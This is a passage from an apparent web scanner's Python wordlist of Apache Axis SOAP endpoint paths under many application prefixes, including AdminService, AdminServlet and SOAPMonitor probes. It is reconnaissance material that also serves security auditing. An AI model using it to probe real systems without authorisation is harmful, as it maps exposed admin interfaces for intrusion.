 ('/Node.WebServices/services/Version?wsdl', '/Node.WebServices/services'),
 ('/Node.WebServices/servlet/AxisServlet', '/Node.WebServices/servlet/AxisServlet'),
 ('/Node.WebServices/servlet/AxisServlet/Version?wsdl', '/Node.WebServices/servlet/AxisServlet'),
 ('/Node.WebServices/services/NetworkNodeSoap_V11?wsdl', None),
 ('/xPressionWebService/services/{rand}', '/xPressionWebService/services'),
 ('/xPressionWebService/services/Version?wsdl', '/xPressionWebService/services'),
 ('/xPressionWebService/services/xPressionRequest?wsdl', None),
 ('/xPressionWebService/services/xPressionRequest', None),
 ('/wne/services/{rand}', '/wne/services'),
 ('/wne/services/Version?wsdl', '/wne/services'),
 ('/wne/services/v11?wsdl', None),
 ('/wne/services/v11', None),
 ('/edu-sharing/services/{rand}', '/edu-sharing/services'),
 ('/edu-sharing/services/Version?wsdl', '/edu-sharing/services'),
 ('/edu-sharing/services/authbyapp?wsdl', None),
 ('/edu-sharing/services/usage2?wsdl', None),
 ('/edu-sharing/services/authbyapp', None),
 ('/buscar-1/services/{rand}', '/buscar-1/services'),
 ('/buscar-1/services/Version?wsdl', '/buscar-1/services'),
 ('/publicacion-1/services/{rand}', '/publicacion-1/services'),
 ('/publicacion-1/services/Version?wsdl', '/publicacion-1/services'),
 ('/entregar-1/services/{rand}', '/entregar-1/services'),
 ('/entregar-1/services/Version?wsdl', '/entregar-1/services'),
 ('/buscar-1/services/SrvBuscarService?wsdl', None),
 ('/publicacion-1/services/SrvPublicacionService?wsdl', None),
 ('/entregar-1/services/SrvEntregarService?wsdl', None),
 ('/eVisor/services/{rand}', '/eVisor/services'),
 ('/eVisor/services/Version?wsdl', '/eVisor/services'),
 ('/eVisorToPdfWS/services/{rand}', '/eVisorToPdfWS/services'),
 ('/eVisorToPdfWS/services/Version?wsdl', '/eVisorToPdfWS/services'),
 ('/eVisor/services/SignatureReportService?wsdl', None),
 ('/eVisor/services/SignatureReportService', None),
 ('/eVisorToPdfWS/services/ExportToPDFService?wsdl', None),
 ('/ScadaBR/services/{rand}', '/ScadaBR/services'),
 ('/ScadaBR/services/Version?wsdl', '/ScadaBR/services'),
 ('/ScadaBR/servlet/AxisServlet', '/ScadaBR/servlet/AxisServlet'),
 ('/ScadaBR/servlet/AxisServlet/Version?wsdl', '/ScadaBR/servlet/AxisServlet'),
 ('/ScadaBR/services/API?wsdl', None),
 ('/ScadaBR/services/API', None),
 ('/ewengine/services/{rand}', '/ewengine/services'),
 ('/ewengine/services/Version?wsdl', '/ewengine/services'),
 ('/ewengine/services/EmpwebQueryService?wsdl', None),
 ('/ewengine/services/EmpwebQueryService', None),
 ('/SvdbCache/services/{rand}', '/SvdbCache/services'),
 ('/SvdbCache/services/Version?wsdl', '/SvdbCache/services'),
 ('/SvdbCache/services/SvdbApiImpl?wsdl', None),
 ('/SvdbCache/services/SvdbApiImpl', None),
 ('/sipxconfig/services/{rand}', '/sipxconfig/services'),
 ('/sipxconfig/services/Version?wsdl', '/sipxconfig/services'),
 ('/sipxconfig/services/UserService?wsdl', None),
 ('/sipxconfig/services/PhoneService?wsdl', None),
 ('/sipxconfig/services/UserService', None),
 ('/axis1/services?list', '/axis1/services'),
 ('/axis1/services/Version?method=getVersion', '/axis1/services'),
 ('/axis1/services/Version', '/axis1/services'),
 ('/axis1/services/AdminService?wsdl', '/axis1/services'),
 ('/axis1/services/{rand}?wsdl', '/axis1/services'),
 ('/axis1/services/{rand}?method=axisinv', '/axis1/services'),
 ('/axis1/servlet/AxisServlet?list', '/axis1/servlet/AxisServlet'),
 ('/axis1/servlet/AxisServlet/{rand}', '/axis1/servlet/AxisServlet'),
 ('/axis1/servlet/AdminServlet', None),
 ('/axis1/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis1/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis1/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis1/{rand}.jws', None),
 ('/axis1/EchoHeaders.jws?wsdl', None),
 ('/axis1/index.jsp', None),
 ('/axis1/fingerprint.jsp', None),
 ('/axis1/SOAPMonitor', None),
 ('/axis1/{rand}', '/axis1'),
 ('/axis1/webservice/{rand}', '/axis1/webservice'),
 ('/axis1/webservices/{rand}', '/axis1/webservices'),
 ('/ws/services?list', '/ws/services'),
 ('/ws/services/Version?method=getVersion', '/ws/services'),
 ('/ws/services/Version', '/ws/services'),
 ('/ws/services/AdminService?wsdl', '/ws/services'),
 ('/ws/services/{rand}?wsdl', '/ws/services'),
 ('/ws/services/{rand}?method=axisinv', '/ws/services'),
 ('/ws/servlet/AxisServlet?list', '/ws/servlet/AxisServlet'),
 ('/ws/servlet/AxisServlet/{rand}', '/ws/servlet/AxisServlet'),
 ('/ws/servlet/AdminServlet', None),
 ('/ws/servlet/org.apache.axis.transport.http.AxisServlet',
  '/ws/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/ws/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/ws/{rand}.jws', None),
 ('/ws/EchoHeaders.jws?wsdl', None),
 ('/ws/index.jsp', None),
 ('/ws/fingerprint.jsp', None),
 ('/ws/SOAPMonitor', None),
 ('/ws/webservice/{rand}', '/ws/webservice'),
 ('/axis1/ws/{rand}', '/axis1/ws'),
 ('/webservices/services?list', '/webservices/services'),
 ('/webservices/services/Version?method=getVersion', '/webservices/services'),
 ('/webservices/services/Version', '/webservices/services'),
 ('/webservices/services/AdminService?wsdl', '/webservices/services'),
 ('/webservices/services/{rand}?wsdl', '/webservices/services'),
 ('/webservices/services/{rand}?method=axisinv', '/webservices/services'),
 ('/webservices/servlet/AxisServlet?list', '/webservices/servlet/AxisServlet'),
 ('/webservices/servlet/AxisServlet/{rand}', '/webservices/servlet/AxisServlet'),
 ('/webservices/servlet/AdminServlet', None),
 ('/webservices/servlet/org.apache.axis.transport.http.AxisServlet',
  '/webservices/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/webservices/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/webservices/{rand}.jws', None),
 ('/webservices/EchoHeaders.jws?wsdl', None),
 ('/webservices/index.jsp', None),
 ('/webservices/fingerprint.jsp', None),
 ('/webservices/SOAPMonitor', None),
 ('/webservices/webservice/{rand}', '/webservices/webservice'),
 ('/ws/webservices/{rand}', '/ws/webservices'),
 ('/axis1/soap/{rand}', '/axis1/soap'),
 ('/ws/ws/{rand}', '/ws/ws'),
 ('/webservices/webservices/{rand}', '/webservices/webservices'),
 ('/soap/services?list', '/soap/services'),
 ('/soap/services/Version?method=getVersion', '/soap/services'),
 ('/soap/services/Version', '/soap/services'),
 ('/soap/services/AdminService?wsdl', '/soap/services'),
 ('/soap/services/{rand}?wsdl', '/soap/services'),
 ('/soap/services/{rand}?method=axisinv', '/soap/services'),
 ('/soap/servlet/AxisServlet?list', '/soap/servlet/AxisServlet'),
 ('/soap/servlet/AxisServlet/{rand}', '/soap/servlet/AxisServlet'),
 ('/soap/servlet/AdminServlet', None),
 ('/soap/servlet/org.apache.axis.transport.http.AxisServlet',
  '/soap/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/soap/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/soap/{rand}.jws', None),
 ('/soap/EchoHeaders.jws?wsdl', None),
 ('/soap/index.jsp', None),
 ('/soap/fingerprint.jsp', None),
 ('/soap/SOAPMonitor', None),
 ('/soap/webservice/{rand}', '/soap/webservice'),
 ('/axis1/axis/{rand}', '/axis1/axis'),
 ('/webservices/ws/{rand}', '/webservices/ws'),
 ('/api/services?list', '/api/services'),
 ('/api/services/Version?method=getVersion', '/api/services'),
 ('/api/services/Version', '/api/services'),
 ('/api/services/AdminService?wsdl', '/api/services'),
 ('/api/services/{rand}?wsdl', '/api/services'),
 ('/api/services/{rand}?method=axisinv', '/api/services'),
 ('/api/servlet/AxisServlet?list', '/api/servlet/AxisServlet'),
 ('/api/servlet/AxisServlet/{rand}', '/api/servlet/AxisServlet'),
 ('/api/servlet/AdminServlet', None),
 ('/api/servlet/org.apache.axis.transport.http.AxisServlet',
  '/api/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/api/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/api/{rand}.jws', None),
 ('/api/EchoHeaders.jws?wsdl', None),
 ('/api/index.jsp', None),
 ('/api/fingerprint.jsp', None),
 ('/api/SOAPMonitor', None),
 ('/api/webservice/{rand}', '/api/webservice'),
 ('/ws/soap/{rand}', '/ws/soap'),
 ('/soap/webservices/{rand}', '/soap/webservices'),
 ('/ws/axis/{rand}', '/ws/axis'),
 ('/webservices/soap/{rand}', '/webservices/soap'),
 ('/soap/ws/{rand}', '/soap/ws'),
 ('/api/webservices/{rand}', '/api/webservices'),
 ('/services/services?list', '/services/services'),
 ('/services/services/Version?method=getVersion', '/services/services'),
 ('/services/services/Version', '/services/services'),
 ('/services/services/AdminService?wsdl', '/services/services'),
 ('/services/services/{rand}?wsdl', '/services/services'),
 ('/services/services/{rand}?method=axisinv', '/services/services'),
 ('/services/servlet/AxisServlet?list', '/services/servlet/AxisServlet'),
 ('/services/servlet/AxisServlet/{rand}', '/services/servlet/AxisServlet'),
 ('/services/servlet/AdminServlet', None),
 ('/services/servlet/org.apache.axis.transport.http.AxisServlet',
  '/services/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/services/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/services/{rand}.jws', None),
 ('/services/EchoHeaders.jws?wsdl', None),
 ('/services/index.jsp', None),
 ('/services/fingerprint.jsp', None),
 ('/services/SOAPMonitor', None),
 ('/services/webservice/{rand}', '/services/webservice'),
 ('/webservices/axis/{rand}', '/webservices/axis'),
 ('/api/ws/{rand}', '/api/ws'),
 ('/soap/soap/{rand}', '/soap/soap'),
 ('/services/webservices/{rand}', '/services/webservices'),
 ('/jboss-net/services?list', '/jboss-net/services'),
 ('/jboss-net/services/Version?method=getVersion', '/jboss-net/services'),
 ('/jboss-net/services/Version', '/jboss-net/services'),
 ('/jboss-net/services/AdminService?wsdl', '/jboss-net/services'),
 ('/jboss-net/services/{rand}?wsdl', '/jboss-net/services'),
 ('/jboss-net/services/{rand}?method=axisinv', '/jboss-net/services'),
 ('/jboss-net/servlet/AxisServlet?list', '/jboss-net/servlet/AxisServlet'),
 ('/jboss-net/servlet/AxisServlet/{rand}', '/jboss-net/servlet/AxisServlet'),
 ('/jboss-net/servlet/AdminServlet', None),
 ('/jboss-net/servlet/org.apache.axis.transport.http.AxisServlet',
  '/jboss-net/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/jboss-net/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/jboss-net/{rand}.jws', None),
 ('/jboss-net/EchoHeaders.jws?wsdl', None),
 ('/jboss-net/index.jsp', None),
 ('/jboss-net/fingerprint.jsp', None),
 ('/jboss-net/SOAPMonitor', None),
 ('/jboss-net/{rand}', '/jboss-net'),
 ('/jboss-net/webservice/{rand}', '/jboss-net/webservice'),
 ('/soap/axis/{rand}', '/soap/axis'),
 ('/services/ws/{rand}', '/services/ws'),
 ('/arsys/services?list', '/arsys/services'),
 ('/arsys/services/Version?method=getVersion', '/arsys/services'),
 ('/arsys/services/Version', '/arsys/services'),
 ('/arsys/services/AdminService?wsdl', '/arsys/services'),
 ('/arsys/services/{rand}?wsdl', '/arsys/services'),
 ('/arsys/services/{rand}?method=axisinv', '/arsys/services'),
 ('/arsys/servlet/AxisServlet?list', '/arsys/servlet/AxisServlet'),
 ('/arsys/servlet/AxisServlet/{rand}', '/arsys/servlet/AxisServlet'),
 ('/arsys/servlet/AdminServlet', None),
 ('/arsys/servlet/org.apache.axis.transport.http.AxisServlet',
  '/arsys/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/arsys/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/arsys/{rand}.jws', None),
 ('/arsys/EchoHeaders.jws?wsdl', None),
 ('/arsys/index.jsp', None),
 ('/arsys/fingerprint.jsp', None),
 ('/arsys/SOAPMonitor', None),
 ('/arsys/{rand}', '/arsys'),
 ('/arsys/webservice/{rand}', '/arsys/webservice'),
 ('/jboss-net/webservices/{rand}', '/jboss-net/webservices'),
 ('/services/soap/{rand}', '/services/soap'),
 ('/jboss-net/ws/{rand}', '/jboss-net/ws'),
 ('/arsys/webservices/{rand}', '/arsys/webservices'),
 ('/xmlpserver/services?list', '/xmlpserver/services'),
 ('/xmlpserver/services/Version?method=getVersion', '/xmlpserver/services'),
 ('/xmlpserver/services/Version', '/xmlpserver/services'),
 ('/xmlpserver/services/AdminService?wsdl', '/xmlpserver/services'),
 ('/xmlpserver/services/{rand}?wsdl', '/xmlpserver/services'),
 ('/xmlpserver/services/{rand}?method=axisinv', '/xmlpserver/services'),
 ('/xmlpserver/servlet/AxisServlet?list', '/xmlpserver/servlet/AxisServlet'),
 ('/xmlpserver/servlet/AxisServlet/{rand}', '/xmlpserver/servlet/AxisServlet'),
 ('/xmlpserver/servlet/AdminServlet', None),
 ('/xmlpserver/servlet/org.apache.axis.transport.http.AxisServlet',
  '/xmlpserver/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/xmlpserver/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/xmlpserver/{rand}.jws', None),
 ('/xmlpserver/EchoHeaders.jws?wsdl', None),
 ('/xmlpserver/index.jsp', None),
 ('/xmlpserver/fingerprint.jsp', None),
 ('/xmlpserver/SOAPMonitor', None),
 ('/xmlpserver/{rand}', '/xmlpserver'),
 ('/xmlpserver/webservice/{rand}', '/xmlpserver/webservice'),
 ('/services/axis/{rand}', '/services/axis'),
 ('/arsys/ws/{rand}', '/arsys/ws'),
 ('/jboss-net/soap/{rand}', '/jboss-net/soap'),
 ('/xmlpserver/webservices/{rand}', '/xmlpserver/webservices'),
 ('/meaweb/services?list', '/meaweb/services'),
 ('/meaweb/services/Version?method=getVersion', '/meaweb/services'),
 ('/meaweb/services/Version', '/meaweb/services'),
 ('/meaweb/services/AdminService?wsdl', '/meaweb/services'),
 ('/meaweb/services/{rand}?wsdl', '/meaweb/services'),
 ('/meaweb/services/{rand}?method=axisinv', '/meaweb/services'),
 ('/meaweb/servlet/AxisServlet?list', '/meaweb/servlet/AxisServlet'),
 ('/meaweb/servlet/AxisServlet/{rand}', '/meaweb/servlet/AxisServlet'),
 ('/meaweb/servlet/AdminServlet', None),
 ('/meaweb/servlet/org.apache.axis.transport.http.AxisServlet',
  '/meaweb/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/meaweb/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/meaweb/{rand}.jws', None),
 ('/meaweb/EchoHeaders.jws?wsdl', None),
 ('/meaweb/index.jsp', None),
 ('/meaweb/fingerprint.jsp', None),
 ('/meaweb/SOAPMonitor', None),
 ('/meaweb/{rand}', '/meaweb'),
 ('/meaweb/webservice/{rand}', '/meaweb/webservice'),
 ('/jboss-net/axis/{rand}', '/jboss-net/axis'),
 ('/arsys/soap/{rand}', '/arsys/soap'),
 ('/xmlpserver/ws/{rand}', '/xmlpserver/ws'),
 ('/wsh/services?list', '/wsh/services'),
 ('/wsh/services/Version?method=getVersion', '/wsh/services'),
 ('/wsh/services/Version', '/wsh/services'),
 ('/wsh/services/AdminService?wsdl', '/wsh/services'),
 ('/wsh/services/{rand}?wsdl', '/wsh/services'),
 ('/wsh/services/{rand}?method=axisinv', '/wsh/services'),
 ('/wsh/servlet/AxisServlet?list', '/wsh/servlet/AxisServlet'),
 ('/wsh/servlet/AxisServlet/{rand}', '/wsh/servlet/AxisServlet'),
 ('/wsh/servlet/AdminServlet', None),
 ('/wsh/servlet/org.apache.axis.transport.http.AxisServlet',
  '/wsh/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/wsh/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/wsh/{rand}.jws', None),
 ('/wsh/EchoHeaders.jws?wsdl', None),
 ('/wsh/index.jsp', None),
 ('/wsh/fingerprint.jsp', None),
 ('/wsh/SOAPMonitor', None),
 ('/wsh/{rand}', '/wsh'),
 ('/wsh/webservice/{rand}', '/wsh/webservice'),
 ('/meaweb/webservices/{rand}', '/meaweb/webservices'),
 ('/arsys/axis/{rand}', '/arsys/axis'),
 ('/xmlpserver/soap/{rand}', '/xmlpserver/soap'),
 ('/meaweb/ws/{rand}', '/meaweb/ws'),
 ('/wsh/webservices/{rand}', '/wsh/webservices'),
 ('/webservice/services?list', '/webservice/services'),
 ('/webservice/services/Version?method=getVersion', '/webservice/services'),
 ('/webservice/services/Version', '/webservice/services'),
 ('/webservice/services/AdminService?wsdl', '/webservice/services'),
 ('/webservice/services/{rand}?wsdl', '/webservice/services'),
 ('/webservice/services/{rand}?method=axisinv', '/webservice/services'),
 ('/webservice/servlet/AxisServlet?list', '/webservice/servlet/AxisServlet'),
 ('/webservice/servlet/AxisServlet/{rand}', '/webservice/servlet/AxisServlet'),
 ('/webservice/servlet/AdminServlet', None),
 ('/webservice/servlet/org.apache.axis.transport.http.AxisServlet',
  '/webservice/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/webservice/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/webservice/{rand}.jws', None),
 ('/webservice/EchoHeaders.jws?wsdl', None),
 ('/webservice/index.jsp', None),
 ('/webservice/fingerprint.jsp', None),
 ('/webservice/SOAPMonitor', None),
 ('/webservice/webservice/{rand}', '/webservice/webservice'),
 ('/xmlpserver/axis/{rand}', '/xmlpserver/axis'),
 ('/wsh/ws/{rand}', '/wsh/ws'),
 ('/tomcat/axis/services?list', '/tomcat/axis/services'),
 ('/tomcat/axis/services/Version?method=getVersion', '/tomcat/axis/services'),
 ('/tomcat/axis/services/Version', '/tomcat/axis/services'),
 ('/tomcat/axis/services/AdminService?wsdl', '/tomcat/axis/services'),
 ('/tomcat/axis/services/{rand}?wsdl', '/tomcat/axis/services'),
 ('/tomcat/axis/services/{rand}?method=axisinv', '/tomcat/axis/services'),
 ('/tomcat/axis/servlet/AxisServlet?list', '/tomcat/axis/servlet/AxisServlet'),
 ('/tomcat/axis/servlet/AxisServlet/{rand}', '/tomcat/axis/servlet/AxisServlet'),
 ('/tomcat/axis/servlet/AdminServlet', None),
 ('/tomcat/axis/servlet/org.apache.axis.transport.http.AxisServlet',
  '/tomcat/axis/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/tomcat/axis/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/tomcat/axis/{rand}.jws', None),
 ('/tomcat/axis/EchoHeaders.jws?wsdl', None),
 ('/tomcat/axis/index.jsp', None),
 ('/tomcat/axis/fingerprint.jsp', None),
 ('/tomcat/axis/SOAPMonitor', None),
 ('/tomcat/axis/{rand}', '/tomcat/axis'),
 ('/tomcat/axis/webservice/{rand}', '/tomcat/axis/webservice'),
 ('/meaweb/soap/{rand}', '/meaweb/soap'),
 ('/webservice/webservices/{rand}', '/webservice/webservices'),
 ('/meaweb/axis/{rand}', '/meaweb/axis'),
 ('/wsh/soap/{rand}', '/wsh/soap'),
 ('/webservice/ws/{rand}', '/webservice/ws'),
 ('/tomcat/axis/webservices/{rand}', '/tomcat/axis/webservices'),
 ('/juddi/services?list', '/juddi/services'),
 ('/juddi/services/Version?method=getVersion', '/juddi/services'),
 ('/juddi/services/Version', '/juddi/services'),
 ('/juddi/services/AdminService?wsdl', '/juddi/services'),
 ('/juddi/services/{rand}?wsdl', '/juddi/services'),
 ('/juddi/services/{rand}?method=axisinv', '/juddi/services'),
 ('/juddi/servlet/AxisServlet?list', '/juddi/servlet/AxisServlet'),
 ('/juddi/servlet/AxisServlet/{rand}', '/juddi/servlet/AxisServlet'),
 ('/juddi/servlet/AdminServlet', None),
 ('/juddi/servlet/org.apache.axis.transport.http.AxisServlet',
  '/juddi/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/juddi/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/juddi/{rand}.jws', None),
 ('/juddi/EchoHeaders.jws?wsdl', None),
 ('/juddi/index.jsp', None),
 ('/juddi/fingerprint.jsp', None),
 ('/juddi/SOAPMonitor', None),
 ('/juddi/{rand}', '/juddi'),
 ('/juddi/webservice/{rand}', '/juddi/webservice'),
 ('/wsh/axis/{rand}', '/wsh/axis'),
 ('/tomcat/axis/ws/{rand}', '/tomcat/axis/ws'),
 ('/webservice/soap/{rand}', '/webservice/soap'),
 ('/juddi/webservices/{rand}', '/juddi/webservices'),
 ('/imcws/services?list', '/imcws/services'),
 ('/imcws/services/Version', '/imcws/services'),
 ('/imcws/services/AdminService?wsdl', '/imcws/services'),
 ('/imcws/services/{rand}?wsdl', '/imcws/services'),
 ('/imcws/services/{rand}?method=axisinv', '/imcws/services'),
 ('/imcws/servlet/AxisServlet?list', '/imcws/servlet/AxisServlet'),
 ('/imcws/servlet/AxisServlet/{rand}', '/imcws/servlet/AxisServlet'),
 ('/imcws/servlet/AdminServlet', None),
 ('/imcws/servlet/org.apache.axis.transport.http.AxisServlet',
  '/imcws/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/imcws/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/imcws/{rand}.jws', None),
 ('/imcws/EchoHeaders.jws?wsdl', None),
 ('/imcws/index.jsp', None),
 ('/imcws/fingerprint.jsp', None),
 ('/imcws/SOAPMonitor', None),
 ('/imcws/{rand}', '/imcws'),
 ('/imcws/webservice/{rand}', '/imcws/webservice'),
 ('/webservice/axis/{rand}', '/webservice/axis'),
 ('/tomcat/axis/soap/{rand}', '/tomcat/axis/soap'),
 ('/juddi/ws/{rand}', '/juddi/ws'),
 ('/WebServiceImpl/services?list', '/WebServiceImpl/services'),
 ('/WebServiceImpl/services/Version?method=getVersion', '/WebServiceImpl/services'),
 ('/WebServiceImpl/services/Version', '/WebServiceImpl/services'),
 ('/WebServiceImpl/services/AdminService?wsdl', '/WebServiceImpl/services'),
 ('/WebServiceImpl/services/{rand}?wsdl', '/WebServiceImpl/services'),
 ('/WebServiceImpl/services/{rand}?method=axisinv', '/WebServiceImpl/services'),
 ('/WebServiceImpl/servlet/AxisServlet?list', '/WebServiceImpl/servlet/AxisServlet'),
 ('/WebServiceImpl/servlet/AxisServlet/{rand}', '/WebServiceImpl/servlet/AxisServlet'),
 ('/WebServiceImpl/servlet/AdminServlet', None),
 ('/WebServiceImpl/servlet/org.apache.axis.transport.http.AxisServlet',
  '/WebServiceImpl/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/WebServiceImpl/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/WebServiceImpl/{rand}.jws', None),
 ('/WebServiceImpl/EchoHeaders.jws?wsdl', None),
 ('/WebServiceImpl/index.jsp', None),
 ('/WebServiceImpl/fingerprint.jsp', None),
 ('/WebServiceImpl/SOAPMonitor', None),
 ('/WebServiceImpl/{rand}', '/WebServiceImpl'),
 ('/WebServiceImpl/webservice/{rand}', '/WebServiceImpl/webservice'),
 ('/imcws/webservices/{rand}', '/imcws/webservices'),
 ('/tomcat/axis/axis/{rand}', '/tomcat/axis/axis'),
 ('/juddi/soap/{rand}', '/juddi/soap'),
 ('/imcws/ws/{rand}', '/imcws/ws'),
 ('/WebServiceImpl/webservices/{rand}', '/WebServiceImpl/webservices'),
 ('/wssgs/services?list', '/wssgs/services'),
 ('/wssgs/services/Version?method=getVersion', '/wssgs/services'),
 ('/wssgs/services/Version', '/wssgs/services'),
 ('/wssgs/services/AdminService?wsdl', '/wssgs/services'),
 ('/wssgs/services/{rand}?wsdl', '/wssgs/services'),
 ('/wssgs/services/{rand}?method=axisinv', '/wssgs/services'),
 ('/wssgs/servlet/AxisServlet?list', '/wssgs/servlet/AxisServlet'),
 ('/wssgs/servlet/AxisServlet/{rand}', '/wssgs/servlet/AxisServlet'),
 ('/wssgs/servlet/AdminServlet', None),
 ('/wssgs/servlet/org.apache.axis.transport.http.AxisServlet',
  '/wssgs/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/wssgs/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/wssgs/{rand}.jws', None),
 ('/wssgs/EchoHeaders.jws?wsdl', None),
 ('/wssgs/index.jsp', None),
 ('/wssgs/fingerprint.jsp', None),
 ('/wssgs/SOAPMonitor', None),
 ('/wssgs/{rand}', '/wssgs'),
 ('/wssgs/webservice/{rand}', '/wssgs/webservice'),
 ('/juddi/axis/{rand}', '/juddi/axis'),
 ('/WebServiceImpl/ws/{rand}', '/WebServiceImpl/ws'),
 ('/imcws/soap/{rand}', '/imcws/soap'),
 ('/wssgs/webservices/{rand}', '/wssgs/webservices'),
 ('/sakai-axis/services?list', '/sakai-axis/services'),
 ('/sakai-axis/services/Version?method=getVersion', '/sakai-axis/services'),
 ('/sakai-axis/services/Version', '/sakai-axis/services'),
 ('/sakai-axis/services/AdminService?wsdl', '/sakai-axis/services'),
 ('/sakai-axis/services/{rand}?wsdl', '/sakai-axis/services'),
 ('/sakai-axis/services/{rand}?method=axisinv', '/sakai-axis/services'),
 ('/sakai-axis/servlet/AxisServlet?list', '/sakai-axis/servlet/AxisServlet'),
 ('/sakai-axis/servlet/AxisServlet/{rand}', '/sakai-axis/servlet/AxisServlet'),
 ('/sakai-axis/servlet/AdminServlet', None),
 ('/sakai-axis/servlet/org.apache.axis.transport.http.AxisServlet',
  '/sakai-axis/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/sakai-axis/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/sakai-axis/{rand}.jws', None),
 ('/sakai-axis/EchoHeaders.jws?wsdl', None),
 ('/sakai-axis/index.jsp', None),
 ('/sakai-axis/fingerprint.jsp', None),
 ('/sakai-axis/SOAPMonitor', None),
 ('/sakai-axis/{rand}', '/sakai-axis'),
 ('/sakai-axis/webservice/{rand}', '/sakai-axis/webservice'),
 ('/imcws/axis/{rand}', '/imcws/axis'),
 ('/WebServiceImpl/soap/{rand}', '/WebServiceImpl/soap'),
 ('/wssgs/ws/{rand}', '/wssgs/ws'),
 ('/globalsight/services?list', '/globalsight/services'),
 ('/globalsight/services/Version?method=getVersion', '/globalsight/services'),
 ('/globalsight/services/Version', '/globalsight/services'),
 ('/globalsight/services/AdminService?wsdl', '/globalsight/services'),
 ('/globalsight/services/{rand}?wsdl', '/globalsight/services'),
 ('/globalsight/services/{rand}?method=axisinv', '/globalsight/services'),
 ('/globalsight/servlet/AxisServlet?list', '/globalsight/servlet/AxisServlet'),
 ('/globalsight/servlet/AxisServlet/{rand}', '/globalsight/servlet/AxisServlet'),
 ('/globalsight/servlet/AdminServlet', None),
 ('/globalsight/servlet/org.apache.axis.transport.http.AxisServlet',
  '/globalsight/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/globalsight/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/globalsight/{rand}.jws', None),
 ('/globalsight/EchoHeaders.jws?wsdl', None),
 ('/globalsight/index.jsp', None),
 ('/globalsight/fingerprint.jsp', None),
 ('/globalsight/SOAPMonitor', None),
 ('/globalsight/{rand}', '/globalsight'),
 ('/globalsight/webservice/{rand}', '/globalsight/webservice'),
 ('/sakai-axis/webservices/{rand}', '/sakai-axis/webservices'),
 ('/WebServiceImpl/axis/{rand}', '/WebServiceImpl/axis'),
 ('/wssgs/soap/{rand}', '/wssgs/soap'),
 ('/sakai-axis/ws/{rand}', '/sakai-axis/ws'),
 ('/globalsight/webservices/{rand}', '/globalsight/webservices'),
 ('/jasperserver/services?list', '/jasperserver/services'),
 ('/jasperserver/services/Version?method=getVersion', '/jasperserver/services'),
 ('/jasperserver/services/Version', '/jasperserver/services'),
 ('/jasperserver/services/AdminService?wsdl', '/jasperserver/services'),
 ('/jasperserver/services/{rand}?wsdl', '/jasperserver/services'),
 ('/jasperserver/services/{rand}?method=axisinv', '/jasperserver/services'),
 ('/jasperserver/servlet/AxisServlet?list', '/jasperserver/servlet/AxisServlet'),
 ('/jasperserver/servlet/AxisServlet/{rand}', '/jasperserver/servlet/AxisServlet'),
 ('/jasperserver/servlet/AdminServlet', None),
 ('/jasperserver/servlet/org.apache.axis.transport.http.AxisServlet',
  '/jasperserver/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/jasperserver/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/jasperserver/{rand}.jws', None),
 ('/jasperserver/EchoHeaders.jws?wsdl', None),
 ('/jasperserver/index.jsp', None),
 ('/jasperserver/fingerprint.jsp', None),
 ('/jasperserver/SOAPMonitor', None),
 ('/jasperserver/{rand}', '/jasperserver'),
 ('/jasperserver/webservice/{rand}', '/jasperserver/webservice'),
 ('/wssgs/axis/{rand}', '/wssgs/axis'),
 ('/globalsight/ws/{rand}', '/globalsight/ws'),
 ('/jasperserver-pro/services?list', '/jasperserver-pro/services'),
 ('/jasperserver-pro/services/Version?method=getVersion', '/jasperserver-pro/services'),
 ('/jasperserver-pro/services/Version', '/jasperserver-pro/services'),
 ('/jasperserver-pro/services/AdminService?wsdl', '/jasperserver-pro/services'),
 ('/jasperserver-pro/services/{rand}?wsdl', '/jasperserver-pro/services'),
 ('/jasperserver-pro/services/{rand}?method=axisinv', '/jasperserver-pro/services'),
 ('/jasperserver-pro/servlet/AxisServlet?list', '/jasperserver-pro/servlet/AxisServlet'),
 ('/jasperserver-pro/servlet/AxisServlet/{rand}', '/jasperserver-pro/servlet/AxisServlet'),
 ('/jasperserver-pro/servlet/AdminServlet', None),
 ('/jasperserver-pro/servlet/org.apache.axis.transport.http.AxisServlet',
  '/jasperserver-pro/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/jasperserver-pro/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/jasperserver-pro/{rand}.jws', None),
